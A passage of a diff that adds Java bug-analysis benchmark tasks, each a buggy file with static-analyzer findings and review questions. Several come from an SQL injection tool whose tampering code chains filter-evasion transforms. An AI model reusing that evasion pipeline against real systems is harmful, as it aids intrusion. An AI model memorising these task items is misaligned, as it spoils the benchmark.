+            long elapsed = System.currentTimeMillis() - start;
+            Assert.assertTrue("Didn't wait long enough for timeout", (elapsed >= config.getConnectionTimeout()));
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+
+    @Test
+    public void testConnectionRetries5() throws SQLException
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(2);
+        config.setConnectionTimeout(1000);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        final Connection connection1 = ds.getConnection();
+
+        long start = System.currentTimeMillis();
+
+        ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(2);
+        scheduler.schedule(new Runnable() {
+            public void run()
+            {
+                try
+                {
+                    connection1.close();
+                }
+                catch (Exception e)
+                {
+                    e.printStackTrace(System.err);
+                }
+            }
+        }, 250, TimeUnit.MILLISECONDS);
+
+        StubDataSource stubDataSource = ds.unwrap(StubDataSource.class);
+        stubDataSource.setThrowException(new SQLException("Connection refused"));
+
+        try
+        {
+            Connection connection2 = ds.getConnection();
+            connection2.close();
+
+            long elapsed = System.currentTimeMillis() - start;
+            Assert.assertTrue("Waited too long to get a connection.", (elapsed >= 250) && (elapsed < config.getConnectionTimeout()));
+        }
+        catch (SQLException e)
+        {
+            Assert.fail("Should not have timed out.");
+        }
+        finally
+        {
+            scheduler.shutdownNow();
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testConnectionIdleFill() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(5);
+        config.setMaximumPoolSize(10);
+        config.setConnectionTimeout(1000);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        try
+        {
+            Connection connection1 = ds.getConnection();
+            Connection connection2 = ds.getConnection();
+            Connection connection3 = ds.getConnection();
+            Connection connection4 = ds.getConnection();
+            Connection connection5 = ds.getConnection();
+            Connection connection6 = ds.getConnection();
+            Connection connection7 = ds.getConnection();
+    
+            Thread.sleep(1200);
+    
+            Assert.assertSame("Totals connections not as expected", 10, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 3, TestElf.getPool(ds).getIdleConnections());
+    
+            connection1.close();
+            connection2.close();
+            connection3.close();
+            connection4.close();
+            connection5.close();
+            connection6.close();
+            connection7.close();
+    
+            Assert.assertSame("Totals connections not as expected", 10, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 10, TestElf.getPool(ds).getIdleConnections());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zaxxer.hikari.HikariDataSource` acquired to `ds` by call to `new()` at line 105 is not released after line 143.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestConnectionTimeoutRetry.testConnectionRetries3()
+
+### Procedure Id:
+com.zaxxer.hikari.TestConnectionTimeoutRetry.testConnectionRetries3():void.9ae7b502df5c06fd0b00de605928b9da
+
+### File:
+hikaricp/src/test/java/com/zaxxer/hikari/TestConnectionTimeoutRetry.java
+
+### Key:
+TestConnectionTimeoutRetry.java|testConnectionRetries3|RESOURCE_LEAK
+
+### Node Key:
+de2d9a76245ad9462bfe064598214247
+
+### Hash:
+15ebb8306d44da8e0d7fec27ca577875
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5671/instruction.md b/inferredbugs-5671/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..07116ddf5fc65dd71036931a04cd771f46541231
--- /dev/null
+++ b/inferredbugs-5671/instruction.md
@@ -0,0 +1,120 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** extentreports-java
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.aventstack.extentreports;
+
+import java.io.File;
+
+import org.testng.annotations.AfterClass;
+import org.testng.annotations.BeforeClass;
+
+import com.aventstack.extentreports.ExtentReports;
+import com.aventstack.extentreports.reporter.ExtentHtmlReporter;
+import com.aventstack.extentreports.reporter.ExtentXReporter;
+
+public abstract class Base {
+    
+    protected final String fileName = getClass().getSimpleName();
+    protected final String htmlFilePath = getOutputFolder() + fileName + ".html";
+    protected final String emailFilePath = getOutputFolder() + "email-" + fileName + ".html";
+    protected ExtentReports extent;
+    
+    @BeforeClass
+    public void setup() {
+        ExtentHtmlReporter htmlReporter = new ExtentHtmlReporter(htmlFilePath);
+
+        ExtentXReporter extentx = new ExtentXReporter("localhost");
+        extentx.config().setProjectName("extentreports");
+        extentx.config().setReportName(fileName);
+        extentx.config().setServerUrl("http://localhost:1337/");
+        
+        extent = new ExtentReports();
+        extent.attachReporter(htmlReporter);
+    }
+    
+    @AfterClass
+    public void tearDown() {
+        extent.flush();
+    }
+    
+    protected String getOutputFolder() { 
+        return "test-output/";
+    }
+    
+    public Base() {
+        File folder = new File(getOutputFolder());
+        folder.mkdirs();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.mongodb.MongoClient` acquired by call to `ExtentXReporter(...)` at line 23 is not released after line 26.
+**Note**: potential exception at line 21
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base.setup()
+
+### Procedure Id:
+com.aventstack.extentreports.Base.setup():void.0c0f7e0f5023d69dd99170d1f5cb9338
+
+### File:
+src/test/java/com/aventstack/extentreports/Base.java
+
+### Key:
+Base.java|setup|RESOURCE_LEAK
+
+### Node Key:
+db2fd08a6ab5595b4130d0f14f3e4469
+
+### Hash:
+153ee9e6fac5ed558d8647aa899ec63a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5676/instruction.md b/inferredbugs-5676/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ae7c1e7dab0dca5fdbb09ef01b945f02d3bef047
--- /dev/null
+++ b/inferredbugs-5676/instruction.md
@@ -0,0 +1,275 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsql-injection
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.jsql.util;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.script.Invocable;
+import javax.script.ScriptEngine;
+import javax.script.ScriptException;
+
+import org.apache.commons.lang3.StringUtils;
+import org.apache.log4j.Logger;
+
+import com.jsql.util.tampering.TamperingType;
+
+import jdk.nashorn.api.scripting.NashornScriptEngineFactory;
+
+public class TamperingUtil {
+    
+    /**
+     * Log4j logger sent to view.
+     */
+    private static final Logger LOGGER = Logger.getRootLogger();
+    
+    private boolean isBase64 = false;
+    private boolean isVersionComment = false;
+    private boolean isFunctionComment = false;
+    private boolean isEqualToLike = false;
+    private boolean isRandomCase = false;
+    private boolean isHexToChar = false;
+    private boolean isStringToChar = false;
+    private boolean isQuoteToUtf8 = false;
+    private boolean isEval = false;
+    private boolean isSpaceToMultilineComment = false;
+    private boolean isSpaceToDashComment = false;
+    private boolean isSpaceToSharpComment = false;
+    
+    private String customTamper = null;
+    
+    private static final NashornScriptEngineFactory NASHORN_FACTORY = new NashornScriptEngineFactory();
+
+    // TODO builder
+    public void set(
+        boolean isBase64,
+        boolean isVersionComment,
+        boolean isFunctionComment,
+        boolean isEqualToLike,
+        boolean isRandomCase,
+        boolean isHexToChar,
+        boolean isQuoteToUtf8,
+        boolean isEval,
+        boolean isSpaceToMultilineComment,
+        boolean isSpaceToDashComment,
+        boolean isSpaceToSharpComment,
+        boolean isStringToChar
+    ) {
+        
+        this.isBase64 = isBase64;
+        this.isVersionComment = isVersionComment;
+        this.isFunctionComment = isFunctionComment;
+        this.isEqualToLike = isEqualToLike;
+        this.isRandomCase = isRandomCase;
+        this.isHexToChar = isHexToChar;
+        this.isQuoteToUtf8 = isQuoteToUtf8;
+        this.isEval = isEval;
+        this.isSpaceToMultilineComment = isSpaceToMultilineComment;
+        this.isSpaceToDashComment = isSpaceToDashComment;
+        this.isSpaceToSharpComment = isSpaceToSharpComment;
+        this.isStringToChar = isStringToChar;
+    }
+    
+    private static String eval(String sqlQuery, String jsTampering) {
+        
+        Object resultSqlTampered = null;
+        
+        try {
+            if (StringUtils.isEmpty(jsTampering)) {
+                
+                throw new ScriptException("Tampering context is empty");
+            }
+            
+            ScriptEngine nashornEngine = NASHORN_FACTORY.getScriptEngine();
+            nashornEngine.eval(jsTampering);
+            
+            Invocable nashornInvocable = (Invocable) nashornEngine;
+            resultSqlTampered = nashornInvocable.invokeFunction("tampering", sqlQuery);
+            
+        } catch (ScriptException e) {
+            
+            LOGGER.warn("Tampering context contains errors: " + e.getMessage(), e);
+            resultSqlTampered = sqlQuery;
+            
+        } catch (NoSuchMethodException e) {
+            
+            LOGGER.warn("Tampering context is not properly defined: " + e.getMessage(), e);
+            LOGGER.warn("Minimal tampering context is: var tampering = function(sql) {return sql}");
+            resultSqlTampered = sqlQuery;
+        }
+        
+        return resultSqlTampered.toString();
+    }
+    
+    public String tamper(String sqlQueryDefault) {
+        
+        String lead = null;
+        String sqlQuery = null;
+        String trail = null;
+        
+        Matcher matcherSql = Pattern.compile("(?s)(.*<tampering>)(.*)(</tampering>.*)").matcher(sqlQueryDefault);
+        
+        if (matcherSql.find()) {
+            
+           lead = matcherSql.group(1);
+           sqlQuery = matcherSql.group(2);
+           trail = matcherSql.group(3);
+        }
+        
+        // Empty when checking character insertion
+        if (StringUtils.isEmpty(sqlQuery)) {
+            
+            return StringUtils.EMPTY;
+        }
+
+        if (this.isHexToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.HEX_TO_CHAR.instance().getJavascript());
+        }
+        
+        if (this.isStringToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.STRING_TO_CHAR.instance().getJavascript());
+        }
+
+        if (this.isFunctionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+
+        if (this.isVersionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.VERSIONED_COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+        
+        if (this.isEqualToLike) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.EQUAL_TO_LIKE.instance().getJavascript());
+        }
+        
+        // Dependency to: EQUAL_TO_LIKE
+        if (this.isSpaceToDashComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_DASH_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToMultilineComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_MULTILINE_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToSharpComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_SHARP_COMMENT.instance().getJavascript());
+        }
+        
+        if (this.isRandomCase) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.RANDOM_CASE.instance().getJavascript());
+        }
+        
+        if (this.isEval) {
+            
+            sqlQuery = eval(sqlQuery, this.customTamper);
+        }
+        
+        if (this.isBase64) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.BASE64.instance().getJavascript());
+        }
+        
+        sqlQuery = lead + sqlQuery + trail;
+        
+        // Include character insertion at the beginning of query
+        if (this.isQuoteToUtf8) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.QUOTE_TO_UTF8.instance().getJavascript());
+        }
+        
+        // Problme si le tag contient des caractres spciaux
+        sqlQuery = sqlQuery.replaceAll("(?i)<tampering>", StringUtils.EMPTY);
+        sqlQuery = sqlQuery.replaceAll("(?i)</tampering>", StringUtils.EMPTY);
+        
+        return sqlQuery;
+    }
+    
+    // Getter and setter
+
+    public String getCustomTamper() {
+        return this.customTamper;
+    }
+
+    public void setCustomTamper(String customTamper) {
+        this.customTamper = customTamper;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `sqlQuery` last assigned on line 105 could be null and is dereferenced by call to `eval(...)` at line 140.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TamperingUtil.tamper(String)
+
+### Procedure Id:
+com.jsql.util.TamperingUtil.tamper(java.lang.String):java.lang.String.aa514d6f071f5d042ed09af85497c39c
+
+### File:
+model/src/main/java/com/jsql/util/TamperingUtil.java
+
+### Key:
+TamperingUtil.java|tamper|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+db7685b9a1eb96dd595e615d429e20bf
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5677/instruction.md b/inferredbugs-5677/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0b6be947ede360f23bf54aa59cfde4f013c09e9c
--- /dev/null
+++ b/inferredbugs-5677/instruction.md
@@ -0,0 +1,135 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsql-injection
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.jsql.view.swing.menubar;
+
+import java.awt.Desktop;
+import java.awt.event.ActionEvent;
+import java.awt.event.ActionListener;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.net.URLConnection;
+
+import org.apache.log4j.Logger;
+
+import com.jsql.i18n.I18n;
+import com.jsql.model.injection.InjectionModel;
+import com.jsql.view.swing.MediatorGUI;
+
+public class ActionCheckUpdate implements ActionListener, Runnable {
+    /**
+     * Log4j logger sent to view.
+     */
+    private static final Logger LOGGER = Logger.getLogger(ActionCheckUpdate.class);
+
+    @Override
+    public void run() {
+        try {
+            LOGGER.info(I18n.UPDATE_LOADING);
+            URLConnection con = new URL("http://jsql-injection.googlecode.com/git/.version").openConnection();
+            con.setReadTimeout(60000);
+            con.setConnectTimeout(60000);
+
+            BufferedReader reader = new BufferedReader(new InputStreamReader(con.getInputStream()));
+            String line, pageSource = "";
+            while ((line = reader.readLine()) != null) {
+                pageSource += line + "\n";
+            }
+            reader.close();
+
+            Float gitVersion = Float.parseFloat(pageSource);
+            MediatorGUI.model();
+            if (gitVersion <= Float.parseFloat(InjectionModel.JSQLVERSION)) {
+                LOGGER.debug(I18n.UPDATE_UPTODATE);
+            } else {
+                LOGGER.warn(I18n.UPDATE_NEW_VERSION_AVAILABLE);
+            }
+        } catch (NumberFormatException e) {
+            LOGGER.warn(I18n.UPDATE_EXCEPTION);
+            LOGGER.error(e, e);
+        } catch (IOException e) {
+            LOGGER.warn(I18n.UPDATE_EXCEPTION);
+            LOGGER.error(e, e);
+        }
+    }
+
+    @Override
+    public void actionPerformed(ActionEvent e) {
+        new Thread(this, "Menubar - Check update").start();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.HttpURLConnection` acquired by call to `openConnection()` at line 30 is not released after line 34.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ActionCheckUpdate.run()
+
+### Procedure Id:
+com.jsql.view.swing.menubar.ActionCheckUpdate.run():void.9ca92e48840f1d79be57e8e994898fb6
+
+### File:
+src/com/jsql/view/swing/menubar/ActionCheckUpdate.java
+
+### Key:
+ActionCheckUpdate.java|run|RESOURCE_LEAK
+
+### Node Key:
+89e3e0b6f6d770761afe55cc102110e4
+
+### Hash:
+a9d9dabdaef12a4e8f145dee0e7509f7
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5678/instruction.md b/inferredbugs-5678/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e4dc14d61cbaec86594427a44e350f9c8647e131
--- /dev/null
+++ b/inferredbugs-5678/instruction.md
@@ -0,0 +1,275 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsql-injection
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.jsql.util;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.script.Invocable;
+import javax.script.ScriptEngine;
+import javax.script.ScriptException;
+
+import org.apache.commons.lang3.StringUtils;
+import org.apache.log4j.Logger;
+
+import com.jsql.util.tampering.TamperingType;
+
+import jdk.nashorn.api.scripting.NashornScriptEngineFactory;
+
+public class TamperingUtil {
+    
+    /**
+     * Log4j logger sent to view.
+     */
+    private static final Logger LOGGER = Logger.getRootLogger();
+    
+    private boolean isBase64 = false;
+    private boolean isVersionComment = false;
+    private boolean isFunctionComment = false;
+    private boolean isEqualToLike = false;
+    private boolean isRandomCase = false;
+    private boolean isHexToChar = false;
+    private boolean isStringToChar = false;
+    private boolean isQuoteToUtf8 = false;
+    private boolean isEval = false;
+    private boolean isSpaceToMultilineComment = false;
+    private boolean isSpaceToDashComment = false;
+    private boolean isSpaceToSharpComment = false;
+    
+    private String customTamper = null;
+    
+    private static final NashornScriptEngineFactory NASHORN_FACTORY = new NashornScriptEngineFactory();
+
+    // TODO builder
+    public void set(
+        boolean isBase64,
+        boolean isVersionComment,
+        boolean isFunctionComment,
+        boolean isEqualToLike,
+        boolean isRandomCase,
+        boolean isHexToChar,
+        boolean isQuoteToUtf8,
+        boolean isEval,
+        boolean isSpaceToMultilineComment,
+        boolean isSpaceToDashComment,
+        boolean isSpaceToSharpComment,
+        boolean isStringToChar
+    ) {
+        
+        this.isBase64 = isBase64;
+        this.isVersionComment = isVersionComment;
+        this.isFunctionComment = isFunctionComment;
+        this.isEqualToLike = isEqualToLike;
+        this.isRandomCase = isRandomCase;
+        this.isHexToChar = isHexToChar;
+        this.isQuoteToUtf8 = isQuoteToUtf8;
+        this.isEval = isEval;
+        this.isSpaceToMultilineComment = isSpaceToMultilineComment;
+        this.isSpaceToDashComment = isSpaceToDashComment;
+        this.isSpaceToSharpComment = isSpaceToSharpComment;
+        this.isStringToChar = isStringToChar;
+    }
+    
+    private static String eval(String sqlQuery, String jsTampering) {
+        
+        Object resultSqlTampered = null;
+        
+        try {
+            if (StringUtils.isEmpty(jsTampering)) {
+                
+                throw new ScriptException("Tampering context is empty");
+            }
+            
+            ScriptEngine nashornEngine = NASHORN_FACTORY.getScriptEngine();
+            nashornEngine.eval(jsTampering);
+            
+            Invocable nashornInvocable = (Invocable) nashornEngine;
+            resultSqlTampered = nashornInvocable.invokeFunction("tampering", sqlQuery);
+            
+        } catch (ScriptException e) {
+            
+            LOGGER.warn("Tampering context contains errors: " + e.getMessage(), e);
+            resultSqlTampered = sqlQuery;
+            
+        } catch (NoSuchMethodException e) {
+            
+            LOGGER.warn("Tampering context is not properly defined: " + e.getMessage(), e);
+            LOGGER.warn("Minimal tampering context is: var tampering = function(sql) {return sql}");
+            resultSqlTampered = sqlQuery;
+        }
+        
+        return resultSqlTampered.toString();
+    }
+    
+    public String tamper(String sqlQueryDefault) {
+        
+        String lead = null;
+        String sqlQuery = null;
+        String trail = null;
+        
+        Matcher matcherSql = Pattern.compile("(?s)(.*<tampering>)(.*)(</tampering>.*)").matcher(sqlQueryDefault);
+        
+        if (matcherSql.find()) {
+            
+           lead = matcherSql.group(1);
+           sqlQuery = matcherSql.group(2);
+           trail = matcherSql.group(3);
+        }
+        
+        // Empty when checking character insertion
+        if (StringUtils.isEmpty(sqlQuery)) {
+            
+            return StringUtils.EMPTY;
+        }
+
+        if (this.isHexToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.HEX_TO_CHAR.instance().getJavascript());
+        }
+        
+        if (this.isStringToChar) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.STRING_TO_CHAR.instance().getJavascript());
+        }
+
+        if (this.isFunctionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+
+        if (this.isVersionComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.VERSIONED_COMMENT_TO_METHOD_SIGNATURE.instance().getJavascript());
+        }
+        
+        if (this.isEqualToLike) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.EQUAL_TO_LIKE.instance().getJavascript());
+        }
+        
+        // Dependency to: EQUAL_TO_LIKE
+        if (this.isSpaceToDashComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_DASH_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToMultilineComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_MULTILINE_COMMENT.instance().getJavascript());
+            
+        } else if (this.isSpaceToSharpComment) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.SPACE_TO_SHARP_COMMENT.instance().getJavascript());
+        }
+        
+        if (this.isRandomCase) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.RANDOM_CASE.instance().getJavascript());
+        }
+        
+        if (this.isEval) {
+            
+            sqlQuery = eval(sqlQuery, this.customTamper);
+        }
+        
+        if (this.isBase64) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.BASE64.instance().getJavascript());
+        }
+        
+        sqlQuery = lead + sqlQuery + trail;
+        
+        // Include character insertion at the beginning of query
+        if (this.isQuoteToUtf8) {
+            
+            sqlQuery = eval(sqlQuery, TamperingType.QUOTE_TO_UTF8.instance().getJavascript());
+        }
+        
+        // Problme si le tag contient des caractres spciaux
+        sqlQuery = sqlQuery.replaceAll("(?i)<tampering>", StringUtils.EMPTY);
+        sqlQuery = sqlQuery.replaceAll("(?i)</tampering>", StringUtils.EMPTY);
+        
+        return sqlQuery;
+    }
+    
+    // Getter and setter
+
+    public String getCustomTamper() {
+        return this.customTamper;
+    }
+
+    public void setCustomTamper(String customTamper) {
+        this.customTamper = customTamper;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `sqlQuery` last assigned on line 105 could be null and is dereferenced by call to `eval(...)` at line 159.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TamperingUtil.tamper(String)
+
+### Procedure Id:
+com.jsql.util.TamperingUtil.tamper(java.lang.String):java.lang.String.aa514d6f071f5d042ed09af85497c39c
+
+### File:
+model/src/main/java/com/jsql/util/TamperingUtil.java
+
+### Key:
+TamperingUtil.java|tamper|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+db7685b9a1eb96dd595e615d429e20bf
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5679/instruction.md b/inferredbugs-5679/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9d741340a4f0dc62018992a4240d0fd4a9b869be
--- /dev/null
+++ b/inferredbugs-5679/instruction.md
@@ -0,0 +1,275 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsql-injection
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.jsql.util;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.script.Invocable;
+import javax.script.ScriptEngine;
+import javax.script.ScriptException;
+
+import org.apache.commons.lang3.StringUtils;
+import org.apache.log4j.Logger;
+
+import com.jsql.util.tampering.TamperingType;
+
+import jdk.nashorn.api.scripting.NashornScriptEngineFactory;
+
+public class TamperingUtil {
+    
+    /**
+     * Log4j logger sent to view.
+     */
+    private static final Logger LOGGER = Logger.getRootLogger();
+    
+    private boolean isBase64 = false;
+    private boolean isVersionComment = false;
+    private boolean isFunctionComment = false;
+    private boolean isEqualToLike = false;
+    private boolean isRandomCase = false;
+    private boolean isHexToChar = false;
+    private boolean isStringToChar = false;
+    private boolean isQuoteToUtf8 = false;
+    private boolean isEval = false;
+    private boolean isSpaceToMultilineComment = false;
+    private boolean isSpaceToDashComment = false;
+    private boolean isSpaceToSharpComment = false;
+    
+    private String customTamper = null;
+    
+    private static final NashornScriptEngineFactory NASHORN_FACTORY = new NashornScriptEngineFactory();
+
+    // TODO builder
+    public void set(
+        boolean isBase64,
+        boolean isVersionComment,
+        boolean isFunctionComment,
+        boolean isEqualToLike,
+        boolean isRandomCase,
+        boolean isHexToChar,
+        boolean isQuoteToUtf8,
+        boolean isEval,
+        boolean isSpaceToMultilineComment,
+        boolean isSpaceToDashComment,
+        boolean isSpaceToSharpComment,
+        boolean isStringToChar
+    ) {
+        
+        this.isBase64 = isBase64;
+        this.isVersionComment = isVersionComment;
+        this.isFunctionComment = isFunctionComment;
+        this.isEqualToLike = isEqualToLike;
+        this.isRandomCase = isRandomCase;
+        this.isHexToChar = isHexToChar;
+        this.isQuoteToUtf8 = isQuoteToUtf8;
+        this.isEval = isEval;
+        this.isSpaceToMultilineComment = isSpaceToMultilineComment;
+        this.isSpaceToDashComment = isSpaceToDashComment;
+        this.isSpaceToSharpComment = isSpaceToSharpComment;
+        this.isStringToChar = isStringToChar;
+    }
+    
+    private static String eval(String sqlQuery, String jsTampering) {
+        
+        Object resultSqlTampered = null;
+        
+        try {
+            if (StringUtils.isEmpty(jsTampering)) {
+                
+                throw new ScriptException("Tampering context is empty");
+            }
+            
+            ScriptEngine nashornEngine = NASHORN_FACTORY.getScriptEngine();
+            nashornEngine.eval(jsTampering);
+            
+            Invocable nashornInvocable = (Invocable) nashornEngine;
+            resultSqlTampered = nashornInvocable.invokeFunction("tampering", sqlQuery);
+            
+        } catch (ScriptException e) {
+            
+            LOGGER.warn("Tampering context contains errors: " + e.getMessage(), e);
+            resultSqlTampered = sqlQuery;
+            
+        } catch (NoSuchMethodException e) {
+            
+            LOGGER.warn("Tampering context is not properly defined: " + e.getMessage(), e);
+            LOGGER.warn("Minimal tampering context is: var tampering = function(sql) {return sql}");
+            resultSqlTampered = sqlQuery;
+        }
+        
+        return resultSqlTampered.toString();
+    }
+    
+    public String tamper(String sqlQueryDefault) {
+        
+        String lead = null;
+        String sqlQuery = null;
+        String trail = null;
+        
+        Matcher matcherSql = Pattern.compile("(?s)(.*<tampering>)(.*)(</tampering>.*)").matcher(sqlQueryDefault);
+        
+        if (matcherSql.find()) {
+            
